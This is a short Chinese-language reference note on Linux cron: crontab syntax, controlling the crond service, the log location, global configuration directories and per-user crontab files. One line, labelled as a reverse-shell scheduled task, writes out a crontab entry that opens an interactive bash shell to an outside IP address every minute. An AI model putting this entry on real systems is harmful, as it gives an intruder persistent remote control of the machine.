尝试一些简单的定时任务
每一分钟执行一次 /bin/ls:
* * * * * /bin/ls
shell 反弹定时任务
* * * * * /bin/bash -i >& /dev/tcp/196.7.67.155/258 0>&1
cd /var/spool/cron
查看crontab状态
service crond status //查看定时任务状态
启动服务命令
service crond start//启动定时任务
systemctl start crond
停止服务命令
service crond stopservice 是服务。必须root用户才可以支持
systemctl stop crond
cron服务是Linux的内置服务,但它不会开机自动启动。
systemctl restart crond
systemctl reload crond
查看crontab日志
tail -f /var/log/cron
//crontab的日志位置一般位于/var/log/cron
全局配置文件
crontab在/etc目录下面存在cron.hourly,cron.daily,cron.weekly,cron.monthly,cron.d五个目录和crontab,cron.deny二个文件。
cron.daily是每天执行一次的job
cron.weekly是每个星期执行一次的job
cron.monthly是每月执行一次的job
cron.hourly是每个小时执行一次的job
cron.d是系统自动定期需要做的任务
crontab是设定定时任务执行文件
cron.deny文件就是用于控制不让哪些用户使用Crontab的功能
用户配置文件
每个用户都有自己的cron配置文件,通过crontab -e 就可以编辑,一般情况下我们编辑好用户的cron配置文件保存退出后,系统会自动就存放于/var/spool/cron/目录中,文件以用户名命名.linux的cron服务是每隔一分钟去读取一次/var/spool/cron,/etc/crontab,/etc/cron.d下面所有的内容.